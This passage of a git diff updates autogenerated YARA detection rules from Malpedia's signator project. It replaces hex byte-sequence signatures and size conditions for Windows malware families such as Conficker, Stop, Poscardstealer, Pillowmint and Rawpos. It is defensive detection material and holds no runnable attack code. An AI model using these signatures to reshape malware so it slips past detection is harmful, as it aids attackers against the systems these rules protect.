"N/A" - logic_hash = "00be53192993cb157d23710f27883aec97e607f299251d85f4a360507da1c6b0" - score = 50 + logic_hash = "50eb49ac3d5f5dfe611a451c1ec48caa70453cd380c122b00dd8d016e6744ba5" + score = 75 quality = 75 tags = "FILE" version = "1" @@ -92721,32 +92875,32 @@ rule MALPEDIA_Win_Bhunt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f6c643 f65f47 146d 80739aea 7cf9 ed cf } - $sequence_1 = { ff7510 8d442414 50 8984240c070000 e8???????? 8bb42404070000 68???????? } - $sequence_2 = { 50 e8???????? 8d86001c0000 50 8d85b6f3ffff 50 e8???????? } - $sequence_3 = { 6613c6 8b07 84c8 f8 8dbf04000000 66f7c76d13 33c3 } - $sequence_4 = { 83c40c 6a03 bbfb020000 e8???????? 50 56 e8???????? } - $sequence_5 = { 83e01f c1f905 8b0c8d00e04900 c1e006 8d44010c 50 e8???????? } - $sequence_6 = { 85c0 751f 8b4518 0118 33c0 5f 5e } - $sequence_7 = { 46 56 68???????? 56 56 e8???????? 85c0 } - $sequence_8 = { fc 8e04a5???????? 33ef aa 3417 ed b877eefc1d } - $sequence_9 = { 2522e9fb64 794f 8b00 9a5250f0069a5c 2640 2e9b 1a489f } + $sequence_0 = { e9???????? 8b542430 488b4c2470 e8???????? 668944243c 0fb744243c 83f805 } + $sequence_1 = { e8???????? 4889842490000000 e9???????? 488b8424e8000000 4889842458010000 488b8424f0000000 4889842460010000 } + $sequence_2 = { 49f7d0 4d01e0 4883e003 7424 31c9 0f1f840000000000 8d140f } + $sequence_3 = { e8???????? 488955b8 488945b0 eb00 c6450700 4889e0 488b4db8 } + $sequence_4 = { 8b5511 8b5d14 895518 895d1b c6460802 8b11 8b4903 } + $sequence_5 = { 8b1488 448b85f4050000 488d8518040000 488985500a0000 488b8d500a0000 89957c010000 44898578010000 } + $sequence_6 = { e8???????? eb00 488d8d80000000 488d95a0000000 e8???????? eb00 8b8580000000 } + $sequence_7 = { e9???????? 4c8d4c243f 4c8d44243c 488b942450020000 488b842450020000 488b4810 e8???????? } + $sequence_8 = { e9???????? 807c243400 4c8b6c2440 0f8437020000 4889f9 4889f2 e8???????? } + $sequence_9 = { d3e0 488b4c2448 8b4c8c50 0bc8 8bc1 89442444 8b442420 } condition: - 7 of them and filesize < 19161088 + 7 of them and filesize < 4538368 } -rule MALPEDIA_Win_Tandfuy_Auto : FILE +rule MALPEDIA_Win_Rad_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f7c34ec9-5c47-5400-953b-2fc065900f46" + id = "8a099829-2dbe-5073-9ece-c0e3e763fe4a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tandfuy_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rad" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rad_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "8bcf4f8924f2bd51984baf6f9c4aad50acc2f2e7396ee140bd5315db5dd99bae" + logic_hash = "2d90510a72fef277223444468a95d2c25d3c61f771625c4fd1893b29c13678f2" score = 75 quality = 75 tags = "FILE" @@ -92760,32 +92914,32 @@ rule MALPEDIA_Win_Tandfuy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f2ae 8b442410 f7d1 49 51 8b4c2418 } - $sequence_1 = { 33c0 b9000a0000 50 50 } - $sequence_2 = { 50 e8???????? b93f000000 33c0 8dbdecfdffff f3ab 66ab } - $sequence_3 = { ff15???????? 8bd8 85db 0f84be000000 8d4c2408 6a00 } - $sequence_4 = { ff15???????? 50 ff15???????? 85c0 0f84ea000000 8d4c2424 } - $sequence_5 = { 33c0 c3 8b442408 50 ff15???????? } - $sequence_6 = { e8???????? 83c40c 85c0 766e } - $sequence_7 = { 33c0 f3a5 a4 b90a000000 } - $sequence_8 = { 51 e8???????? 83c418 8bd0 8995d4faffff 8db5f0fcffff 8bfb } - $sequence_9 = { 6800000080 56 f3ab ff15???????? 8bd8 } + $sequence_0 = { 8d8d9cfdffff c645fc1a ff15???????? c645fc19 } + $sequence_1 = { 51 ff15???????? 83c404 33c0 8945c8 } + $sequence_2 = { 5b c3 83fefe 760b } + $sequence_3 = { 8d8f10030000 c684240c06000016 ff15???????? 8d4c2458 c684240806000015 ffd3 39742450 } + $sequence_4 = { 89742410 c684240001000006 85f6 7447 8bce ff15???????? c706???????? } + $sequence_5 = { e8???????? 8d4c2434 68???????? 51 e8???????? 8b35???????? 6a14 } + $sequence_6 = { ff25???????? 8db514faffff e9???????? 8db530faffff e9???????? 8d8d4cfaffff } + $sequence_7 = { 8b75e0 8bd6 83fe06 7205 } + $sequence_8 = { 8975b0 eb03 897db0 8b55b0 8955ac c645fc04 } + $sequence_9 = { 59 8be5 5d c20400 8d4df0 c645fc00 ff15???????? } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 207872 } -rule MALPEDIA_Win_Stop_Auto : FILE +rule MALPEDIA_Win_Conficker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bc295ac7-db91-5568-b9e1-1d450db9b984" + id = "2292bd3e-30fc-5fd2-b5f2-54da12682502" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stop" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stop_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.conficker_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "22c4b0b970b8ce1325818e94329339f1bb669a97f8cb3590d85b78790ea24a40" + logic_hash = "516f879a278afd371cf4391eda00f14d5a379f5084ac579457d7a12528cabf86" score = 75 quality = 75 tags = "FILE" @@ -92799,32 +92953,32 @@ rule MALPEDIA_Win_Stop_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ff15???????? 8bf8 85ff 790f } - $sequence_1 = { ff15???????? 8bf8 85ff 790f } - $sequence_2 = { 51 dd1c24 e8???????? dc4de0 } - $sequence_3 = { 56 6a00 ff7508 68???????? 6a00 } - $sequence_4 = { 33c9 eb14 8bce 8d5902 668b01 83c102 6685c0 } - $sequence_5 = { 33c9 eb14 8bce 8d5902 } - $sequence_6 = { ffd6 85c0 75e2 5f } - $sequence_7 = { 68f4010000 57 ff15???????? 57 } - $sequence_8 = { 50 ffd6 85c0 75e8 6a0a ff7304 } - $sequence_9 = { ff7508 ffd0 5d c3 8b0d???????? 33d2 } + $sequence_0 = { 81f9a9fe0000 743b 8bce 81e1fffe0000 81f9c6120000 } + $sequence_1 = { 0fb6d3 8b5c9008 46 3b7510 891f 894c9008 } + $sequence_2 = { f2ae 61 7502 4a 4a 3c09 } + $sequence_3 = { ff15???????? 8945e4 8365fc00 85c0 7420 68???????? } + $sequence_4 = { 85c0 750a 2145fc c745f8b0ae6243 ff15???????? 3345f8 } + $sequence_5 = { 743b 8bce 81e1fffe0000 81f9c6120000 } + $sequence_6 = { 894d08 8b0e 894c9808 02ca 8916 8b750c } + $sequence_7 = { 8955fc bfffffff7f 23d7 8945f0 8955f4 } + $sequence_8 = { 395df8 7507 c745fc01000000 57 } + $sequence_9 = { 81e1fffe0000 81f9c6120000 742b 8bce } condition: - 7 of them and filesize < 6029312 + 7 of them and filesize < 335872 } -rule MALPEDIA_Win_Termite_Auto : FILE +rule MALPEDIA_Win_Saigon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "15b0d808-d79f-5784-bdde-fa38f9ed0952" + id = "d4227170-8c19-5a53-bfab-480d4b1c0eee" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.termite" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.termite_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.saigon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.saigon_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "3a2de453ce8083809c117db4d85515335282489c9c64cdb918c15a2c3d5282e4" + logic_hash = "ca28ac861d15b6053acaf9126995909d99adf4b549ed8bfb0a57ebb9988cee44" score = 75 quality = 75 tags = "FILE" @@ -92838,32 +92992,32 @@ rule MALPEDIA_Win_Termite_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7e5e 8b45ec 8b4010 8945f0 c745f400000000 eb41 } - $sequence_1 = { 8b55f4 8b5204 891424 ffd0 8b4508 8b4010 } - $sequence_2 = { 8b45f4 89442408 8b450c 89442404 8b45f0 890424 e8???????? } - $sequence_3 = { 83f83f 771c 8b5508 8b45f4 899485f0feffff 8b85ecfeffff } - $sequence_4 = { 8945fc 8b4508 8b4004 3b45f8 7e06 837dfc00 75d7 } - $sequence_5 = { 8d85e4feffff 89442410 c744240c00000000 c744240800000000 8d85ecfeffff 89442404 891424 } - $sequence_6 = { 890424 e8???????? c745b044000000 c745dc00010000 8b45f4 8945f0 8b45f0 } - $sequence_7 = { c1e002 01d0 c1e002 05???????? c7400c00000000 8b55fc 89d0 } - $sequence_8 = { 890424 e8???????? 8b450c 8b400c c744240804000000 8d9568feffff } - $sequence_9 = { c7442404???????? 891c24 8944240c 8d45e1 } + $sequence_0 = { ff15???????? 85c0 0f85f4000000 488b0d???????? 33d2 41b800100000 } + $sequence_1 = { 33db 488bf2 4533c9 448d4303 } + $sequence_2 = { 418bd5 89542440 4533c9 4533c0 488bc8 895c2420 } + $sequence_3 = { 0f859d000000 488bcb ff15???????? 488b0d???????? 33d2 448d440034 ff15???????? } + $sequence_4 = { 488d842470020000 4c8d842440050000 488d942490030000 488d8c24c0000000 448bcb 895c2428 } + $sequence_5 = { e8???????? 488d8f88000000 ff15???????? f08387b000000001 488d8f88000000 ff15???????? 440fb65f66 } + $sequence_6 = { 0f8592000000 f60302 0f8589000000 448b6b08 } + $sequence_7 = { 4533c9 488bd0 498bce e8???????? 488b0d???????? 33d2 } + $sequence_8 = { 4885c9 740c 33d2 e8???????? 4c8be0 eb03 4533e4 } + $sequence_9 = { ff5038 85c0 781c 488b4c2430 4533c0 } condition: - 7 of them and filesize < 312320 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Fickle_Auto : FILE +rule MALPEDIA_Win_Poscardstealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6879e197-d2fb-581d-9f88-69c75afc2e63" + id = "53d91898-d02d-53b9-9813-59bf55e7c619" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fickle" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fickle_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poscardstealer_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "f140341d28c7aeaf4e7af75fed2cbbb86f7c4fb7ead43c1713a0301f74177602" + logic_hash = "8ad471a582e54a99878737b3b5b570978ce78744521ef98846f72f0bfe800fbd" score = 75 quality = 75 tags = "FILE" @@ -92877,32 +93031,32 @@ rule MALPEDIA_Win_Fickle_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 80f12a 884c241e 0f280424 0f29442470 0f1044240f 0f1144247f 8dbc24a0000000 } - $sequence_1 = { 660f7f442440 89542450 897c2454 894c2458 8b44240c 8944245c 803e04 } - $sequence_2 = { 8b913b148901 33540804 89540c04 83c104 83f918 72ea 8a401c } - $sequence_3 = { 8d3449 8d0cb2 81c10c010000 8d14f2 8918 c7400400000000 897808 } - $sequence_4 = { e8???????? 83c40c 8b442418 8944246c 895c2470 8b44240c 89442474 } - $sequence_5 = { 8d742450 89442450 89f1 e8???????? 89d9 e8???????? 85c0 } - $sequence_6 = { 8d9c24b4000000 89d9 8d942498000000 57 e8???????? 83c404 89d9 } - $sequence_7 = { e8???????? 8b1e 8b7e04 53 ff17 83c404 837f0400 } - $sequence_8 = { 8d0440 8b4c2464 8b7c8104 8b448108 897c240c 31ed 85c0 } - $sequence_9 = { 8b54247c 8bbc2480000000 f30f7e442448 660fd6442468 8b442450 89442470 8d8c24d8000000 } + $sequence_0 = { 8b5610 8955e4 8b4614 8945e8 897e10 897e14 837dcc10 } + $sequence_1 = { 6aff 6a00 50 8bce c645fc02 e8???????? 837de810 } + $sequence_2 = { e8???????? 83c404 397de8 0f82f6000000 } + $sequence_3 = { 51 e8???????? 83c420 50 8d8d74ffffff } + $sequence_4 = { 8901 c9 c3 3b0d???????? 7502 } + $sequence_5 = { 8bbd90edffff 40 898570edffff 3bc7 0f8ceffbffff 8b0d???????? } + $sequence_6 = { 7305 83c8ff eb08 33c0 83fe01 0f95c0 3bc7 } + $sequence_7 = { 8d45f4 64a300000000 8b35???????? c745fc00000000 8975ac 3b35???????? } + $sequence_8 = { c645fc01 e8???????? 6aff 40 50 8d559c 52 } + $sequence_9 = { c645fc0e e8???????? c645fc05 397de8 720c 8b4dd4 51 } condition: - 7 of them and filesize < 1646592 + 7 of them and filesize < 362496 } -rule MALPEDIA_Win_Newbounce_Auto : FILE +rule MALPEDIA_Win_Pillowmint_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3e3986fe-0558-5f1b-99f3-eb9b18b9db79" + id = "3853669a-e086-5b11-9aa7-48869422e9e3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newbounce" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newbounce_auto.yar#L1-L149" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pillowmint_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "53993fab1fffe3be30682fcde23603c8013a2f2c28d0b685101dbd874fd28f1f" + logic_hash = "4bf5c67c89e02047a57c78ccb54899d23f365f779797116ee014480492b0b534" score = 75 quality = 75 tags = "FILE" @@ -92916,37 +93070,32 @@ rule MALPEDIA_Win_Newbounce_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83e00f 7e05 2bf0 83c610 } - $sequence_1 = { 7c11 8a03 4b8b8cf8a0b40600 48ffc3 } - $sequence_2 = { 7c2f 803b39 7f2a 488d4c2420 } - $sequence_3 = { 7c07 488d4c2438 eb0a 4889442430 488d4c2430 488b09 483b8e78020000 } - $sequence_4 = { 7c0c 488d15bad00200 e9???????? 488d1566d00200 } - $sequence_5 = { 7c8d 4863c8 498bd6 85c0 } - $sequence_6 = { 7c4b 4c8bc6 e8???????? 48017748 } - $sequence_7 = { 7c07 488d4c2460 eb0a 4889442468 } - $sequence_8 = { 81ec68010000 a1???????? 33c4 89842464010000 56 57 8bf1 } - $sequence_9 = { 81ec20020000 a1???????? 33c4 89842418020000 56 } - $sequence_10 = { 81ec50030000 a1???????? 33c5 8945ec 53 } - $sequence_11 = { 81ec28010000 a1???????? 33c5 8945fc 8b4610 } - $sequence_12 = { 81ec64060000 a1???????? 33c4 89842460060000 53 } - $sequence_13 = { 81ec8c010000 56 a1???????? 33c5 } - $sequence_14 = { 81ec58030000 a1???????? 33c4 89842450030000 } + $sequence_0 = { 48c7442460feffffff 48895808 48897018 48897820 488b05???????? 4833c4 488985d0000000 } + $sequence_1 = { 488b8c24a0000000 e8???????? 48c78424b80000000f000000 4889bc24b0000000 c68424a000000000 4883bc24d800000010 720d } + $sequence_2 = { 7534 8b461c 0fb713 498d0c01 4181f8b80a4c53 7509 448b3491 } + $sequence_3 = { e8???????? 488b4608 488d3d68fb2200 488b80f8000000 488bdf bd10000000 c605????????00 } + $sequence_4 = { 488d4c2468 e8???????? 90 4c8d05360f0300 488bd0 488d8c24c0000000 e8???????? } + $sequence_5 = { 498bc5 482bc1 483bc2 7305 488bd7 eb03 4803d1 } + $sequence_6 = { 0fbe00 8d0480 8d80effeffff 8d0442 83f81e 0f8730010000 } + $sequence_7 = { e8???????? 8985c0000000 488d95c0000000 e8???????? 4885c0 0f853e040000 488b05???????? } + $sequence_8 = { 90 4c8d051c170300 488bd0 488d4dd8 e8???????? 90 4983c9ff } + $sequence_9 = { 4883c708 48833b00 75a9 418b4620 4983c614 85c0 0f8579ffffff } condition: - 7 of them and filesize < 8637440 + 7 of them and filesize < 4667392 } -rule MALPEDIA_Win_Chinoxy_Auto : FILE +rule MALPEDIA_Win_Burnbook_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "78736f40-563d-5718-b05e-03a3a946c1f4" + id = "d8a1b3af-c791-5a49-95d1-39ec74922c1f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinoxy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chinoxy_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.burnbook" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.burnbook_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "c0bd3bd9ac342844eead2562e34424d0e649b578cd28d421251d6ac44bae37dc" + logic_hash = "6939db5a1f9211e1e7ddaeea7285f0f9407b5dc4feaa3227884659565987f25b" score = 75 quality = 75 tags = "FILE" @@ -92960,32 +93109,32 @@ rule MALPEDIA_Win_Chinoxy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7405 394004 7538 6a3c e8???????? 83c404 89442408 } - $sequence_1 = { 897e5c 897e60 897e64 897e68 897e6c 897e70 897c2414 } - $sequence_2 = { 52 e8???????? 83c408 85c0 0f84a7000000 8b4f08 6a00 } - $sequence_3 = { 8b5918 33eb 33db 33c5 89442414 8be8 8a5c2416 } - $sequence_4 = { 743a 8b431c 8db140800200 85c0 7506 8db15c800200 8bce } - $sequence_5 = { 3bc6 8b5008 895610 75a7 e9???????? 8b85a0020000 } - $sequence_6 = { 8bde c1ef10 c1e310 0bfb 2bc6 33f8 03f1 } - $sequence_7 = { b9???????? e8???????? 85ff 740a 83c704 57 ff15???????? } - $sequence_8 = { 8bf9 c1ee18 c1e708 0bf7 2bd9 33f3 } - $sequence_9 = { 83f8ff 7409 83c004 3bc6 7602 8bf8 } + $sequence_0 = { f7d8 418906 418bc3 83ffff 7d02 f7d8 410fafd9 } + $sequence_1 = { e8???????? 8945ef 41b881010000 488bd7 488bcb e8???????? 4885c0 } + $sequence_2 = { f30f2cc0 8801 48ffc1 4883ea01 75c9 488b459f 4c2b5028 } + $sequence_3 = { ffc1 448bd1 f7d9 8d344e 0f1f00 0fb60a 0faf08 } + $sequence_4 = { f20f1003 f20f59c6 f20f58c7 e8???????? f20f2cc0 89862c0c0000 f20f104308 } + $sequence_5 = { e8???????? 85c0 7419 488b5308 8b0c3a 85c9 7407 } + $sequence_6 = { f30f2c442440 4883c304 488d7f04 8947fc 4883ee01 75dc 488b742430 } + $sequence_7 = { f30f7f840cf0030000 f30f5bc2 f30f7f440cf0 81fa00010000 0f8c5cffffff 0f28bc24100c0000 0f28b424200c0000 } + $sequence_8 = { f30f114014 488bc3 4881c448010000 415f 415e 5f 5e } + $sequence_9 = { e8???????? 85c0 7814 0fb6c0 488bd6 488bcd 0bf8 } condition: - 7 of them and filesize < 1138688 + 7 of them and filesize < 22976512 } -rule MALPEDIA_Win_Socksproxygo_Auto : FILE +rule MALPEDIA_Win_Rawpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ca75341b-6658-565f-95d6-74f231ce44e9" + id = "1ae7866b-5a11-5ecd-acc1-985240e6eeca" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksproxygo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socksproxygo_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rawpos_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "dae101b13021abf8406ff6df83b23a76fef8534b33d21e36035ee793df6e14d3" + logic_hash = "db91ad955030d7923a8e659a49a2b9f0e663571d73f741166c9c17758223d91f" score = 75 quality = 75 tags = "FILE" @@ -92999,32 +93148,32 @@ rule MALPEDIA_Win_Socksproxygo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 48ffc6 4c89d1 4889d7 488b542448 4885c9 0f84ec000000 } - $sequence_1 = { e9???????? 4c8b9424e8010000 0f1f00 4d85d2 742b 498b02 498b5a08 } - $sequence_2 = { eb08 488bb42420010000 48899424a0000000 4889b424a8000000 488bbc24a0000000 4885ff 7421 } - $sequence_3 = { eb3a 498b02 498b5a08 498b4a10 488b942408020000 488b3a 488b7208 } - $sequence_4 = { 90 488d05c3392300 0f1f00 e8???????? 488b942418010000 48895008 833d????????00 } - $sequence_5 = { c64424216b c744242200000203 66c74424260202 31c0 eb1a 440fb64c341d 418d1411 } - $sequence_6 = { 4989c0 4989ca 488b842420020000 41c6043805 b901000000 e9???????? 4983fb01 } - $sequence_7 = { e8???????? 488bac24f8000000 4881c400010000 c3 e8???????? e8???????? 4889c3 } - $sequence_8 = { 7331 488d05b4513000 4889d9 4889fb 4889f7 4c89c6 e8???????? } - $sequence_9 = { c7442464345c35c5 c7442467c5fab82a 31c0 e9???????? 488b9424a8000000 4885d2 b801000000 } + $sequence_0 = { 59 85c0 757b 0fbe4604 50 e8???????? 59 } + $sequence_1 = { 8bf8 33c0 8a07 83f845 7c05 b845000000 83f83b } + $sequence_2 = { 5d c3 55 8bec 83c4dc 33c0 33d2 } + $sequence_3 = { e8???????? 83c408 85c0 0f842e070000 8b4520 8d4df4 50 } + $sequence_4 = { 8bc3 f7d8 83f803 750a bb08000000 e9???????? } + $sequence_5 = { 837df400 7507 8bf7 e9???????? 803f10 7526 } + $sequence_6 = { c646ff10 c60601 46 8a45d0 8806 46 } + $sequence_7 = { 8a13 80c2d3 80ea02 720f 80c2fe 80ea02 7207 } + $sequence_8 = { 53 8b4510 83c6ff 50 57 52 e8???????? } + $sequence_9 = { eb03 83c8ff 5f 5e 5b 59 5d } condition: - 7 of them and filesize < 14221312 + 7 of them and filesize < 466944 } -rule MALPEDIA_Win_Sombrat_Auto : FILE +rule MALPEDIA_Win_Lightbunny_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d0dde23d-377f-5d10-8911-6d96e1813650" + id = "dde384fa-2d37-5576-aebe-de172bd52692" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sombrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sombrat_auto.yar#L1-L152" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightbunny" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightbunny_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "941d1381587fea594c21f438f9e9d8395ac2ab22b349124a0b48a1b28fcdbcbd" + logic_hash = "df215a5e4e34e2b6ef794199d12d5fa957ff647111af41e6077ed16529a01062" score = 75 quality = 75 tags = "FILE" @@ -93038,38 +93187,32 @@ rule MALPEDIA_Win_Sombrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 014114 8b7508 837df800 8b5df4 0f84c3feffff } - $sequence_1 = { 833d????????10 b9???????? 0f430d???????? 51 8bc8 } - $sequence_2 = { 01041e 8b4508 42 8d7308 } - $sequence_3 = { 0145e4 8b55f8 83c40c 294644 } - $sequence_4 = { 014620 f6460c04 8945e0 742d 85c0 7429 8b4de4 } - $sequence_5 = { 0000 e8???????? c70424???????? 8d5f0c 68???????? } - $sequence_6 = { 014620 ff36 114e24 8b442434 } - $sequence_7 = { 0144244a 894e0c ffb72c010000 ff15???????? } - $sequence_8 = { 016b08 33c0 e9???????? 33ff } - $sequence_9 = { 01448c20 48ffc1 493bc9 7cf1 } - $sequence_10 = { 016b08 488d05dc980500 41b9e7160000 4889442420 } - $sequence_11 = { 015f08 33c0 e9???????? 488b4760 } - $sequence_12 = { 0145f1 4533c9 4533c0 488b16 } - $sequence_13 = { 015f08 488bcf e8???????? 8bf0 } - $sequence_14 = { 015f08 33c0 488b4c2470 4833cc } - $sequence_15 = { 015f08 83bfd800000016 0f856c020000 488b87c8000000 } + $sequence_0 = { 33c9 b8???????? 90 3910 7412 0524100000 } + $sequence_1 = { e8???????? 8b55f4 83c404 b906000000 e8???????? e9???????? } + $sequence_2 = { 6a32 ff15???????? 8bcf e8???????? 8bf0 85f6 75e2 } + $sequence_3 = { 8d0485586e4100 50 8d8590faffff 03c7 50 e8???????? } + $sequence_4 = { ff36 894608 68???????? e8???????? 83c408 } + $sequence_5 = { 83b81810000000 0f85defeffff 83b82010000000 0f85d1feffff 6a00 } + $sequence_6 = { ff75f4 68???????? e8???????? 8b4df4 83c40c } + $sequence_7 = { c1f906 53 6bd830 56 8b048d20ae4100 } + $sequence_8 = { 69f224100000 81c6???????? 7410 c7460404000000 ff15???????? } + $sequence_9 = { 8b148520ae4100 8a4c1a2d f6c104 7419 8a441a2e 80e1fb } condition: - 7 of them and filesize < 1466368 + 7 of them and filesize < 2376704 } -rule MALPEDIA_Win_Zerot_Auto : FILE +rule MALPEDIA_Win_Herpes_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3b855400-35e2-5ab9-8ab4-5b0c449639bd" + id = "e63d0f33-775b-5606-bd1d-23c306bf37e3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zerot_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.herpes_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "c6f6a84594f6a63be175c01b94d4ac1a205809bd4a3810282ffee82abc5e767b" + logic_hash = "754c79a3fce60a65d5238f8bbab4a5de6f5328cd0831b8e3c8484725e4b748a5" score = 75 quality = 75 tags = "FILE" @@ -93083,32 +93226,32 @@ rule MALPEDIA_Win_Zerot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c404 33f6 eb13 6800006000 e8???????? } - $sequence_1 = { 6a00 6a00 ff15???????? a3???????? ff15???????? 3db7000000 7527 } - $sequence_2 = { 8b4608 c706???????? 85c0 740a 50 } - $sequence_3 = { 83c408 e9???????? 8b8d34fdffff bf???????? 83f904 } - $sequence_4 = { ff7610 6a01 ff760c ff15???????? } - $sequence_5 = { 6a00 6820020000 6a20 6a02 8d854cfeffff 66c78550feffff0005 50 } - $sequence_6 = { 7409 50 e8???????? 83c404 33ff c7850cfaffff00000000 32db } - $sequence_7 = { 6800020000 8d8510fdffff 6a00 50 e8???????? } - $sequence_8 = { 8d8524fdffff 50 8d4376 50 6a02 ffd6 8d851cfdffff } - $sequence_9 = { ff15???????? 8bc3 be19000000 43 } + $sequence_0 = { 3945cc 8b45b8 7303 8d45b8 56 51 50 } + $sequence_1 = { 68???????? e8???????? 83c404 5e 5d c20400 83ff75 } + $sequence_2 = { 8945e4 3d01010000 7d0d 8a4c181c 8888c0c24100 40 } + $sequence_3 = { 8d45d4 3bc7 7450 3975e8 720c 8b4dd4 51 } + $sequence_4 = { ffd7 68???????? 898664010000 ffd5 68???????? 50 898600020000 } + $sequence_5 = { e8???????? 8bc7 5f c20400 83661000 } + $sequence_6 = { ffd6 0145f0 8b75dc 8b45f0 56 ff75e0 03c7 } + $sequence_7 = { ffd7 68???????? ffb6f8010000 894664 } + $sequence_8 = { 8b4dfc 898134050000 6a00 6880000000 6a03 6a00 6a01 } + $sequence_9 = { 33db 58 89863c020000 899e38020000 } condition: - 7 of them and filesize < 303104 + 7 of them and filesize < 319488 } -rule MALPEDIA_Win_Void_Auto : FILE +rule MALPEDIA_Win_Smarteyes_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix 